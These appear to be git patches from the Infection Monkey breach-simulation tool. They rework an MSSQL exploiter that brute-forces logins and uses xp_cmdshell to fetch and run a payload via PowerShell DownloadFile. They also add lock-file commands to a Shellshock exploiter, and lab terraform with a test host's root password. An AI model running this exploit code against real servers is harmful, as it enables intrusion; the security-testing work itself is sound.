From 4d8cd768fcaee0cef69e6a49e9c47c951303e2c7 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Sun, 25 Aug 2019 18:33:21 +0300
Subject: [PATCH 01/78] Updated monkeyzoo images and added tunneling-11

---
 envs/monkey_zoo/docs/fullDocs.md        | 36 +++++++++++++++++++++++++
 envs/monkey_zoo/terraform/images.tf     | 20 ++++++++------
 envs/monkey_zoo/terraform/monkey_zoo.tf | 33 +++++++++++++++++++++--
 3 files changed, 79 insertions(+), 10 deletions(-)

diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index b792b16f4..4f795af45 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -500,6 +500,42 @@ fullTest.conf is a good config to start, because it covers all machines.
 </tbody>
 </table>
 
+<table>
+<thead>
+<tr class="header">
+<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
+<p>(10.2.0.11)</p></th>
+<th>(Exploitable)</th>
+</tr>
+</thead>
+<tbody>
+<tr class="odd">
+<td>OS:</td>
+<td><strong>Ubuntu 16.04.05 x64</strong></td>
+</tr>
+<tr class="even">
+<td>Software:</td>
+<td>OpenSSL</td>
+</tr>
+<tr class="odd">
+<td>Default service’s port:</td>
+<td>22</td>
+</tr>
+<tr class="even">
+<td>Root password:</td>
+<td>3Q=(Ge(+&w]*</td>
+</tr>
+<tr class="odd">
+<td>Server’s config:</td>
+<td>Default</td>
+</tr>
+<tr class="even">
+<td>Notes:</td>
+<td>Accessible only trough Nr.10</td>
+</tr>
+</tbody>
+</table>
+
 <table>
 <thead>
 <tr class="header">
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 4677d0c1b..dccbe16dd 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "tunneling-9" {
-  name = "tunneling-9-v2"
+  name = "tunneling-9"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "tunneling-10" {
-  name = "tunneling-10-v2"
+  name = "tunneling-10"
+  project = "${local.monkeyzoo_project}"
+}
+data "google_compute_image" "tunneling-11" {
+  name = "tunneling-11"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "sshkeys-11" {
-  name = "sshkeys-11-v2"
+  name = "sshkeys-11"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "sshkeys-12" {
-  name = "sshkeys-12-v2"
+  name = "sshkeys-12"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "mimikatz-14" {
-  name = "mimikatz-14-v2"
+  name = "mimikatz-14"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "mimikatz-15" {
@@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "weblogic-19" {
-  name = "weblogic-19-v2"
+  name = "weblogic-19"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "smb-20" {
@@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "struts2-24" {
-  name = "struts-24-v2"
+  name = "struts2-24"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "island-linux-250" {
@@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
 data "google_compute_image" "island-windows-251" {
   name = "island-windows-251"
   project = "${local.monkeyzoo_project}"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index e0b97822f..dccbf7fa8 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -15,6 +15,11 @@ resource "google_compute_network" "tunneling" {
   auto_create_subnetworks = false
 }
 
+resource "google_compute_network" "tunneling2" {
+  name                    = "tunneling2"
+  auto_create_subnetworks = false
+}
+
 resource "google_compute_subnetwork" "monkeyzoo-main" {
   name            = "monkeyzoo-main"
   ip_cidr_range   = "10.2.2.0/24"
@@ -27,6 +32,12 @@ resource "google_compute_subnetwork" "tunneling-main" {
   network         = "${google_compute_network.tunneling.self_link}"
 }
 
+resource "google_compute_subnetwork" "tunneling2-main" {
+  name            = "tunneling2-main"
+  ip_cidr_range   = "10.2.0.0/27"
+  network         = "${google_compute_network.tunneling2.self_link}"
+}
+
 resource "google_compute_instance_from_template" "hadoop-2" {
   name         = "hadoop-2"
   source_instance_template = "${local.default_ubuntu}"
@@ -149,7 +160,6 @@ resource "google_compute_instance_from_template" "tunneling-9" {
   network_interface{
     subnetwork="tunneling-main"
     network_ip="10.2.1.9"
-    
   }
   network_interface{
     subnetwork="monkeyzoo-main"
@@ -170,6 +180,25 @@ resource "google_compute_instance_from_template" "tunneling-10" {
     subnetwork="tunneling-main"
     network_ip="10.2.1.10"
   }
+  network_interface{
+    subnetwork="tunneling2-main"
+    network_ip="10.2.0.10"
+  }
+}
+
+resource "google_compute_instance_from_template" "tunneling-11" {
+  name         = "tunneling-11"
+  source_instance_template = "${local.default_ubuntu}"
+  boot_disk{
+    initialize_params {
+      image = "${data.google_compute_image.tunneling-11.self_link}"
+    }
+    auto_delete = true
+  }
+  network_interface{
+    subnetwork="tunneling2-main"
+    network_ip="10.2.0.11"
+  }
 }
 
 resource "google_compute_instance_from_template" "sshkeys-11" {
@@ -428,4 +457,4 @@ resource "google_compute_instance_from_template" "island-windows-251" {
       // network_tier = "STANDARD"
     }
   }
-}
\ No newline at end of file
+}

From 3ebd7ed02dc246c4744f64666c48b26557550976 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Mon, 26 Aug 2019 18:49:58 +0300
Subject: [PATCH 02/78] MSSQL refactored to dynamically split exploitation
 commands into smaller chunks

---
 monkey/infection_monkey/exploit/mssqlexec.py | 70 ++++++++++++++++----
 1 file changed, 56 insertions(+), 14 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index e4eaf3151..a15801d12 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter):
     SQL_DEFAULT_TCP_PORT = '1433'
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
+    MAX_XP_CMDSHELL_SIZE = 128
+
+    EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
+    EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
+    MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
+                              "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
@@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter):
         commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
         MSSQLExploiter.execute_command(cursor, commands)
 
-        # Form download command in a file
-        commands = [
-            "xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
-            "xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
-            "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
+        # Form download command
+        download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
+        # Form suffix
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
+
+        exploit_command = MSSQLCommand(download_command,
+                                       prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
+                                       suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
+                                       max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
+        # Split command into chunks mssql xp_cmdshell can execute
+        commands = exploit_command.split_into_array_of_smaller_strings()
+
         MSSQLExploiter.execute_command(cursor, commands)
         MSSQLExploiter.run_file(cursor, tmp_file_path)
         self.add_executed_cmd(' '.join(commands))
@@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter):
 
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
-            Starts the brute force connection attempts and if needed then init the payload process.
-            Main loop starts here.
+        Starts the brute force connection attempts and if needed then init the payload process.
+        Main loop starts here.
 
-            Args:
-                host (str): Host ip address
-                port (str): Tcp port that the host listens to
-                users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
+        Args:
+            host (str): Host ip address
+            port (str): Tcp port that the host listens to
+            users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
 
-            Return:
-                True or False depends if the whole bruteforce and attack process was completed successfully or not
-            """
+        Return:
+            True or False depends if the whole bruteforce and attack process was completed successfully or not
+        """
         # Main loop
         # Iterates on users list
         for user, password in users_passwords_pairs_list:
@@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter):
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
         return None
+
+
+class MSSQLCommand(object):
+
+    def __init__(self, command, max_length, prefix="", suffix=""):
+        self.command = command
+        self.max_length = max_length
+        self.prefix = prefix
+        self.suffix = suffix
+
+    def get_full_command(self, command):
+        return "{}{}{}".format(self.prefix, command, self.suffix)
+
+    def split_into_array_of_smaller_strings(self):
+        remaining_command_to_split = self.command
+        commands = []
+        while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
+            command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
+            commands.append(self.get_full_command(command_of_max_len))
+        if remaining_command_to_split:
+            commands.append(remaining_command_to_split)
+        return commands
+
+    def split_at_max_length(self, command):
+        substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
+        return self.get_full_command(command[0:substring_size]), command[substring_size:]
+
+    def command_is_too_long(self, command):
+        return len(command)+len(self.prefix)+len(self.suffix) > self.max_length

From 8c930fae66d6b581eb52e8a538ebc13cffcf1e42 Mon Sep 17 00:00:00 2001
From: vakaris_zilius <vakarisz@yahoo.com>
Date: Wed, 28 Aug 2019 14:34:45 +0000
Subject: [PATCH 03/78] Mssql fixed, payload parsing class added

---
 monkey/infection_monkey/exploit/mssqlexec.py  | 141 ++++++++++--------
 .../exploit/tools/payload_parsing.py          |  63 ++++++++
 2 files changed, 141 insertions(+), 63 deletions(-)
 create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing.py

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index a15801d12..4d6749ba5 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,6 +1,5 @@
 import logging
 import os
-import textwrap
 from time import sleep
 
 import pymssql
@@ -11,7 +10,8 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools
 from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
     build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+import infection_monkey.utils
 
 LOG = logging.getLogger(__name__)
 
@@ -25,24 +25,31 @@ class MSSQLExploiter(HostExploiter):
     # Time in seconds to wait between MSSQL queries.
     QUERY_BUFFER = 0.5
     SQL_DEFAULT_TCP_PORT = '1433'
+
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
-    MAX_XP_CMDSHELL_SIZE = 128
+    TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir"
 
-    EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
-    EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
+    MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+
+    XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
+    XP_CMDSHELL_COMMAND_END = "\""
+    EXPLOIT_COMMAND_PREFIX = "<nul set /p="
+    EXPLOIT_COMMAND_SUFFIX = ">>%(payload_file_path)s"
+    CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s"
     MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
-                              "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
+                              "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
+        self.cursor = None
 
     def _exploit_host(self):
         # Brute force to get connection
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
-        cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
+        self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
 
-        if not cursor:
+        if not self.cursor:
             LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
             return False
 
@@ -60,47 +67,76 @@ class MSSQLExploiter(HostExploiter):
         LOG.info("Started http server on %s", http_path)
 
         dst_path = get_monkey_dest_path(http_path)
-        tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
+        tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 
-        # Create monkey dir.
-        commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
-        MSSQLExploiter.execute_command(cursor, commands)
+        # Create dir for payload
+        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        if not self.try_to_run_mssql_command(dir_creation_command):
+            return False
+
+        if not self.create_empty_payload_file(tmp_file_path):
+            return True
 
         # Form download command
-        download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
-        # Form suffix
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path,
+                                                                            'dst_path': dst_path}
+        # Form suffix for appending to temp payload file
         suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command,
+                                                          suffix=suffix,
+                                                          prefix=prefix)
+        if not self.try_to_run_mssql_command(monkey_download_command):
+            return True
+        self.run_file(tmp_file_path)
 
-        exploit_command = MSSQLCommand(download_command,
-                                       prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
-                                       suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
-                                       max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
-        # Split command into chunks mssql xp_cmdshell can execute
-        commands = exploit_command.split_into_array_of_smaller_strings()
+        self.add_executed_cmd(monkey_download_command.command)
 
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(' '.join(commands))
-        # Form monkey's command in a file
+        # Clear payload to pass in another command
+        if not self.create_empty_payload_file(tmp_file_path):
+            return True
+
+        # Form monkey's launch command
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
                                                dst_path)
-        monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
-                       for part in textwrap.wrap(monkey_args, 40)]
-        commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
-        commands.extend(monkey_args)
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(commands[-1])
+        suffix = ">>%s" % tmp_file_path
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
+                                                        prefix=prefix,
+                                                        suffix=suffix)
+        if not self.try_to_run_mssql_command(monkey_launch_command):
+            return True
+        self.run_file(tmp_file_path)
+
+        # Remove temporary dir we stored payload at
+        if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower():
+            tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path)
+            self.try_to_run_mssql_command(tmp_file_removal_command)
+            tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+            self.try_to_run_mssql_command(tmp_dir_removal_command)
+
         return True
 
-    @staticmethod
-    def run_file(cursor, file_path):
-        command = ["exec xp_cmdshell \"%s\"" % file_path]
-        return MSSQLExploiter.execute_command(cursor, command)
+    def run_file(self, file_path):
+        file_running_command = MSSQLLimitedSizePayload(file_path)
+        return self.try_to_run_mssql_command(file_running_command)
+
+    def create_empty_payload_file(self, file_path):
+        # Create payload file
+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path}
+        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
+        return self.try_to_run_mssql_command(tmp_file_creation_command)
+
+    def try_to_run_mssql_command(self, mssql_command):
+        array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
+        if not array_of_commands:
+            LOG.error("Couldn't execute MSSQL because payload was too long")
+            return False
+        return MSSQLExploiter.execute_commands(self.cursor, array_of_commands)
 
     @staticmethod
-    def execute_command(cursor, cmds):
+    def execute_commands(cursor, cmds):
         """
         Executes commands on MSSQL server
         :param cursor: MSSQL connection
@@ -154,30 +190,9 @@ class MSSQLExploiter(HostExploiter):
         return None
 
 
-class MSSQLCommand(object):
-
-    def __init__(self, command, max_length, prefix="", suffix=""):
-        self.command = command
-        self.max_length = max_length
-        self.prefix = prefix
-        self.suffix = suffix
-
-    def get_full_command(self, command):
-        return "{}{}{}".format(self.prefix, command, self.suffix)
-
-    def split_into_array_of_smaller_strings(self):
-        remaining_command_to_split = self.command
-        commands = []
-        while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
-            command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
-            commands.append(self.get_full_command(command_of_max_len))
-        if remaining_command_to_split:
-            commands.append(remaining_command_to_split)
-        return commands
-
-    def split_at_max_length(self, command):
-        substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
-        return self.get_full_command(command[0:substring_size]), command[substring_size:]
-
-    def command_is_too_long(self, command):
-        return len(command)+len(self.prefix)+len(self.suffix) > self.max_length
+class MSSQLLimitedSizePayload(LimitedSizePayload):
+    def __init__(self, command, prefix="", suffix=""):
+        super(MSSQLLimitedSizePayload, self).__init__(command=command,
+                                                      max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
+                                                      prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
+                                                      suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
new file mode 100644
index 000000000..e7596f11f
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -0,0 +1,63 @@
+import logging
+import textwrap
+
+LOG = logging.getLogger(__name__)
+
+
+class Payload(object):
+    """
+    Class for defining and parsing a payload (commands with prefixes/suffixes)
+    """
+
+    def __init__(self, command, prefix="", suffix=""):
+        """
+        :param command: command
+        :param prefix: commands prefix
+        :param suffix: commands suffix
+        """
+        self.command = command
+        self.prefix = prefix
+        self.suffix = suffix
+
+    def get_full_payload(self, command=""):
+        if not command:
+            command = self.command
+        return "{}{}{}".format(self.prefix, command, self.suffix)
+
+
+class LimitedSizePayload(Payload):
+    """
+    Class for defining and parsing commands/payloads
+    """
+
+    def __init__(self, command, max_length, prefix="", suffix=""):
+        """
+        :param command: command
+        :param max_length: max length that payload(prefix + command + suffix) can have
+        :param prefix: commands prefix
+        :param suffix: commands suffix
+        """
+        super(LimitedSizePayload, self).__init__(command, prefix, suffix)
+        self.max_length = max_length
+
+    def is_suffix_and_prefix_too_long(self):
+        return self.payload_is_too_long(self.suffix + self.prefix)
+
+    def split_into_array_of_smaller_payloads(self):
+        if self.is_suffix_and_prefix_too_long():
+            LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+                      "exceeds required length of command.")
+            return False
+        elif self.command == "":
+            return [self.prefix+self.suffix]
+
+        commands = [self.get_full_payload(part)
+                    for part
+                    in textwrap.wrap(self.command, self.get_max_sub_payload_length())]
+        return commands
+
+    def get_max_sub_payload_length(self):
+        return self.max_length - len(self.prefix) - len(self.suffix) - 1
+
+    def payload_is_too_long(self, command):
+        return len(command) > self.max_length

From 8099644cee55c00f0e868124515f7bbc3da360d6 Mon Sep 17 00:00:00 2001
From: Anh T Nguyen <anhnt@cystack.net>
Date: Thu, 29 Aug 2019 18:18:41 +0700
Subject: [PATCH 04/78] enter lock before downloading

---
 monkey/infection_monkey/exploit/shellshock.py | 30 +++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 208af2f98..1880e6c07 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -108,6 +108,9 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
+            if not self._try_lock(exploit, url, header):
+                continue
+
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
             if not http_path:
@@ -124,6 +127,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
+            self._exit_lock(exploit, url, header)
+
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                 LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -182,6 +187,31 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
+    @classmethod
+    def _try_lock(cls, exploit, url, header):
+        """
+        Checks if another monkey is running shellshock exploit
+        :return: True if no monkey is running shellshock exploit
+        """
+        file_path = '/tmp/monkey_lock'
+        if cls.check_remote_file_exists(url, header, exploit, file_path):
+            LOG.info("Another monkey is running shellshock exploit")
+            return False
+        cmdline = 'touch /tmp/monkey_lock'
+        run_path = exploit + cmdline
+        cls.attack_page(url, header, run_path)
+        return True
+
+    @classmethod
+    def _exit_lock(cls, exploit, url, header):
+        """
+        Remove lock file from target machine
+        """
+        file_path = '/tmp/monkey_lock'
+        cmdline = 'rm %s' % file_path
+        run_path = exploit + cmdline
+        cls.attack_page(url, header, run_path)
+
     @staticmethod
     def attack_page(url, header, attack):
         result = ""

From c0a6f1d1ddb6b861481cab9be216226ee9b869d9 Mon Sep 17 00:00:00 2001
From: Anh T Nguyen <anhnt@cystack.net>
Date: Sun, 1 Sep 2019 14:04:16 +0700
Subject: [PATCH 05/78] update

---
 monkey/infection_monkey/exploit/shellshock.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 1880e6c07..8b18590de 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -197,7 +197,7 @@ class ShellShockExploiter(HostExploiter):
         if cls.check_remote_file_exists(url, header, exploit, file_path):
             LOG.info("Another monkey is running shellshock exploit")
             return False
-        cmdline = 'touch /tmp/monkey_lock'
+        cmdline = 'echo AAAA > %s' % file_path
         run_path = exploit + cmdline
         cls.attack_page(url, header, run_path)
         return True

From 1d5a4d20cee4a86713540819307b4c77174cd5af Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 11:29:04 +0300
Subject: [PATCH 06/78] Added aggregate finding

---
 .../cc/models/zero_trust/aggregate_finding.py | 23 ++++++++
 .../cc/models/zero_trust/finding.py           |  4 ++
 .../zero_trust/test_aggregate_finding.py      | 53 +++++++++++++++++++
 3 files changed, 80 insertions(+)
 create mode 100644 monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
 create mode 100644 monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py

diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
new file mode 100644
index 000000000..613b9a4a2
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
@@ -0,0 +1,23 @@
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class AggregateFinding(Finding):
+    @staticmethod
+    def create_or_add_to_existing(test, status, events):
+        """
+        Create a new finding or add the events to an existing one if it's the same (same meaning same status and same
+        test).
+
+        :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
+        when this function should be used.
+        """
+        existing_findings = Finding.objects(test=test, status=status)
+        assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
+
+        if len(existing_findings) == 0:
+            Finding.save_finding(test, status, events)
+        else:
+            # Now we know for sure this is the only one
+            orig_finding = existing_findings[0]
+            orig_finding.add_events(events)
+            orig_finding.save()
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
index 4027690c8..441d22e3a 100644
--- a/monkey/monkey_island/cc/models/zero_trust/finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -54,3 +54,7 @@ class Finding(Document):
         finding.save()
 
         return finding
+
+    def add_events(self, events):
+        # type: (list) -> None
+        self.events.extend(events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
new file mode 100644
index 000000000..b32e8ad53
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -0,0 +1,53 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestAggregateFinding(IslandTestCase):
+    def test_create_or_add_to_existing(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+        status = STATUS_INCONCLUSIVE
+        events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)]
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+    def test_create_or_add_to_existing_2_tests_already_exist(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+        status = STATUS_INCONCLUSIVE
+        event = Event.create_event("t", "t", EVENT_TYPE_ISLAND)
+        events = [event]
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+        Finding.save_finding(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+        Finding.save_finding(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 2)
+
+        with self.assertRaises(AssertionError):
+            AggregateFinding.create_or_add_to_existing(test, status, events)

From 1fddd4abbfd9f68654c987d8ea5e547affd93bd9 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 11:44:08 +0300
Subject: [PATCH 07/78] Made some findings aggregate findings to improve
 readability of Findings table.

---
 .../telemetry/zero_trust_tests/antivirus_existence.py     | 6 ++++--
 .../services/telemetry/zero_trust_tests/data_endpoints.py | 8 ++++----
 .../telemetry/zero_trust_tests/machine_exploited.py       | 3 ++-
 3 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
index acfdf1643..5795a2773 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
@@ -3,8 +3,8 @@ import json
